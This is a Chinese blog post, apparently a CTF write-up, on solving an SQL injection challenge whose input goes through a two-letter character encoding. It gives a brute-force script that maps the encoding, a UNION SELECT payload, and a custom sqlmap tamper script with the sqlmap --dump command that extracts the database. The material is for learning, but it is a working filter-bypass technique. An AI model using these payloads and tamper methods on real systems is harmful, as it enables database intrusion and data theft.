zoukankan      html  css  js  c++  java
  • 记一次sql注入的ctf题目

    记一次sql注入的ctf题目

    题目映入眼帘是这样子

    可以猜测QgcAYAbgbw是Guest这五个字母

    5*2=10 故 Qg == G 以此类推

    验证下

    于是,下面的脚本可能是这样。

    zf = string.ascii_letters
    url = "http://xx.x.x.x:xxxx/?user="
     for i in zf:
     	for j in zf:
     		resp = requests.get(url + i + j)
     		if resp.text[-1] != ' ':
     			print(resp.text[-1] + " " + i + j)
     			kv[resp.text[-1]] = i+j
    	
    print(kv)
    

    于是如愿以偿的得到了admin这几个字符对应的值。

    XAXwaAZAaQ

    我以为结束了,然而并没有,映入眼帘的像极了SQL注入。

    后面的字符要想构造语句需要构造太多了。用上面的脚本就不行了。

    于是把所有的字符跑出来,搞成个字典,用到啥跑一下就行了。

    脚本大概的思路就是两层for循环,然后请求数据,看返回包的最后一位是否为空,不为空就增加到字典里。

    结果大概如下:

    kv ={'o': 'ag', 'p': 'aw', 'm': 'aA', 'n': 'aQ', 's': 'bg', 't': 'bw', 'q': 'bA', 'r': 'bQ', 'w': 'cg', 'x': 'cw', 'u': 'cA', 'v': 'cQ', '{': 'dg', '|': 'dw', 'y': 'dA', 'z': 'dQ', '\x7f': 'eg', '聙': 'ew', '}': 'eA', '~': 'eQ', '聝': 'fg', '聞': 'fw', '聛': 'fA', '聜': 'fQ', '聡': 'gg', '聢': 'gw', '聟': 'gA', '聠': 'gQ', '聥': 'hg', '聦': 'hw', '聣': 'hA', '聤': 'hQ', '聫': 'ig', '聬': 'iw', '聧': 'iA', '聨': 'iQ', '聯': 'jg', '聰': 'jw', '聭': 'jA', '聮': 'jQ', '聴': 'kg', '聵': 'kw', '聲': 'kA', '聳': 'kQ', '聸': 'lg', '聹': 'lw', '聶': 'lA', '職': 'lQ', '聼': 'mg', '聽': 'mw', '聺': 'mA', '聻': 'mQ', '拢': 'ng', '陇': 'nw', '隆': 'nA', '垄': 'nQ', '搂': 'og', '篓': 'ow', '楼': 'oA', '娄': 'oQ', '芦': 'pg', '卢': 'pw', '漏': 'pA', '陋': 'pQ', '炉': 'qg', '掳': 'qw', '颅': 'qA', '庐': 'qQ', '鲁': 'rg', '麓': 'rw', '卤': 'rA', '虏': 'rQ', '路': 'sg', '赂': 'sw', '碌': 'sA', '露': 'sQ', '禄': 'tg', '录': 'tw', '鹿': 'tA', '潞': 'tQ', '驴': 'ug', '脌': 'uw', '陆': 'uA', '戮': 'uQ', '脙': 'vg', '脛': 'vw', '脕': 'vA', '脗': 'vQ', '脟': 'wg', '脠': 'ww', '脜': 'wA', '脝': 'wQ', '脣': 'xg', '脤': 'xw', '脡': 'xA', '脢': 'xQ', '脧': 'yg', '脨': 'yw', '脥': 'yA', '脦': 'yQ', '脫': 'zg', '脭': 'zw', '脩': 'zA', '脪': 'zQ', '\x03': 'Ag', '\x04': 'Aw', '\x02': 'AQ', '\x05': 'BA', '\x06': 'BQ', '\x0e': 'Cg', '\x0f': 'Cw', '\x12': 'Dg', '\x13': 'Dw', '\x10': 'DA', '\x11': 'DQ', '\x16': 'Eg', '\x17': 'Ew', '\x14': 'EA', '\x15': 'EQ', '\x1b': 'Fw', '\x18': 'FA', '\x1e': 'Gg', '\x1f': 'Gw', '\x1c': 'GA', '\x1d': 'GQ', '#': 'Hg', '$': 'Hw', '!': 'HA', '"': 'HQ', "'": 'Ig', '(': 'Iw', '%': 'IA', '&': 'IQ', '+': 'Jg', ',': 'Jw', ')': 'JA', '*': 'JQ', '/': 'Kg', '0': 'Kw', '-': 'KA', '.': 'KQ', '3': 'Lg', '4': 'Lw', '1': 'LA', '2': 'LQ', '7': 'Mg', '8': 'Mw', '5': 'MA', '6': 'MQ', ';': 'Ng', '<': 'Nw', '9': 'NA', ':': 'NQ', '?': 'Og', '@': 'Ow', '=': 'OA', '>': 'OQ', 'C': 'Pg', 'D': 'Pw', 'A': 'PA', 'B': 'PQ', 'G': 'Qg', 'H': 'Qw', 'E': 'QA', 'F': 'QQ', 'K': 'Rg', 'L': 'Rw', 'I': 'RA', 'J': 'RQ', 'O': 'Sg', 'P': 'Sw', 'M': 'SA', 'N': 'SQ', 'S': 'Tg', 'T': 'Tw', 'Q': 'TA', 'R': 'TQ', 'W': 'Ug', 'X': 'Uw', 'U': 'UA', 'V': 'UQ', '[': 'Vg', '\\': 'Vw', 'Y': 'VA', 'Z': 'VQ', '_': 'Wg', '`': 'Ww', ']': 'WA', '^': 'WQ', 'c': 'Xg', 'd': 'Xw', 'a': 'XA', 'b': 'XQ', 'g': 'Yg', 'h': 'Yw', 'e': 'YA', 'f': 'YQ', 'k': 'Zg', 'l': 'Zw', 'i': 'ZA', 'j': 'ZQ'}
    
    

    然后构造语句:

    sql = "1 and 1=2 union select 1,(select user())"
    sql1 = sql.replace(' ','/**/')
    for i in sql1:
    	print(kv[i],end='')
    # XAXwaAZAaQ
    

    通过这种方式搞了几个语句,发现整不出来数据表啥的。就放弃了。

    转机出现在刚刚在群里看了tamper,然后恍然大悟,啊 tamper这样子写。我之前想复杂了。

    简单说一下。

    观察一个原始的tamper,sqlmap自带的。

    直接看tamper函数。

    发现他return了最后编码过的payload。

    那好,整体的流程就是,我们只需要关心经过改变后的输出就行了。

    输入是sqlmap自己尝试的payload。

    脚本如下:

    # -*- coding:utf-8 -*-
    
    """
    Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
    See the file 'LICENSE' for copying permission
    """
    
    from lib.core.enums import PRIORITY
    
    __priority__ = PRIORITY.LOWEST
    
    def dependencies():
        pass
    
    def tamper(payload, **kwargs):
        """
        """
        s = ''
        kv ={'o': 'ag', 'p': 'aw', 'm': 'aA', 'n': 'aQ', 's': 'bg', 't': 'bw', 'q': 'bA', 'r': 'bQ', 'w': 'cg', 'x': 'cw', 'u': 'cA', 'v': 'cQ', '{': 'dg', '|': 'dw', 'y': 'dA', 'z': 'dQ', '}': 'eA', '~': 'eQ', '聝': 'fg', '聞': 'fw', '聛': 'fA', '聜': 'fQ', '聡': 'gg', '聢': 'gw', '聟': 'gA', '聠': 'gQ', '聥': 'hg', '聦': 'hw', '聣': 'hA', '聤': 'hQ', '聫': 'ig', '聬': 'iw', '聧': 'iA', '聨': 'iQ', '聯': 'jg', '聰': 'jw', '聭': 'jA', '聮': 'jQ', '聴': 'kg', '聵': 'kw', '聲': 'kA', '聳': 'kQ', '聸': 'lg', '聹': 'lw', '聶': 'lA', '職': 'lQ', '聼': 'mg', '聽': 'mw', '聺': 'mA', '聻': 'mQ', '拢': 'ng', '陇': 'nw', '隆': 'nA', '垄': 'nQ', '搂': 'og', '篓': 'ow', '楼': 'oA', '娄': 'oQ', '芦': 'pg', '卢': 'pw', '漏': 'pA', '陋': 'pQ', '炉': 'qg', '掳': 'qw', '颅': 'qA', '庐': 'qQ', '鲁': 'rg', '麓': 'rw', '卤': 'rA', '虏': 'rQ', '路': 'sg', '赂': 'sw', '碌': 'sA', '露': 'sQ', '禄': 'tg', '录': 'tw', '鹿': 'tA', '潞': 'tQ', '驴': 'ug', '脌': 'uw', '陆': 'uA', '戮': 'uQ', '脙': 'vg', '脛': 'vw', '脕': 'vA', '脗': 'vQ', '脟': 'wg', '脠': 'ww', '脜': 'wA', '脝': 'wQ', '脣': 'xg', '脤': 'xw', '脡': 'xA', '脢': 'xQ', '脧': 'yg', '脨': 'yw', '脥': 'yA', '脦': 'yQ', '脫': 'zg', '脭': 'zw', '脩': 'zA', '脪': 'zQ',  '#': 'Hg', '$': 'Hw', '!': 'HA', '"': 'HQ', "'": 'Ig', '(': 'Iw', '%': 'IA', '&': 'IQ', '+': 'Jg', ',': 'Jw', ')': 'JA', '*': 'JQ', '/': 'Kg', '0': 'Kw', '-': 'KA', '.': 'KQ', '3': 'Lg', '4': 'Lw', '1': 'LA', '2': 'LQ', '7': 'Mg', '8': 'Mw', '5': 'MA', '6': 'MQ', ';': 'Ng', '<': 'Nw', '9': 'NA', ':': 'NQ', '?': 'Og', '@': 'Ow', '=': 'OA', '>': 'OQ', 'C': 'Pg', 'D': 'Pw', 'A': 'PA', 'B': 'PQ', 'G': 'Qg', 'H': 'Qw', 'E': 'QA', 'F': 'QQ', 'K': 'Rg', 'L': 'Rw', 'I': 'RA', 'J': 'RQ', 'O': 'Sg', 'P': 'Sw', 'M': 'SA', 'N': 'SQ', 'S': 'Tg', 'T': 'Tw', 'Q': 'TA', 'R': 'TQ', 'W': 'Ug', 'X': 'Uw', 'U': 'UA', 'V': 'UQ', '[': 'Vg', 'Y': 'VA', 'Z': 'VQ', '_': 'Wg', '`': 'Ww', ']': 'WA', '^': 'WQ', 'c': 'Xg', 'd': 'Xw', 'a': 'XA', 'b': 'XQ', 'g': 'Yg', 'h': 'Yw', 'e': 'YA', 'f': 'YQ', 'k': 'Zg', 'l': 'Zw', 'i': 'ZA', 'j': 'ZQ'}
        payload = payload.replace(' ','/**/')
        for i in payload:
            s += kv[i]
        return s
    

    通过这个tamper可以将sqlmap传入的字符串按照tamper里面替换字符的方式更改。

    sqlmap -u http://x.x.x.x:x/\?user\=XAXwaAZAaQ\&id\=1 --proxy=http://127.0.0.1:8080 --tamper=ctf -p id --dump
    

    这里直接dump数据了。

    proxy的作用是让sqlmap走一下burp代理,是用来验证payload发没发错的。

  • 相关阅读:
    jmeter录制APP脚本
    jmeter的JDBC Request接口测试
    jmeter的webservice接口测试(SOAP/XML-RPC Request)
    jmeter接口测试小结
    jmeter普通的接口测试
    jmeter插件之PerfMon
    jmeter解决中文乱码问题
    session和cookies
    jmeter快速入门
    Python 基础
  • 原文地址:https://www.cnblogs.com/xcymn/p/15721409.html
Copyright © 2011-2022 走看看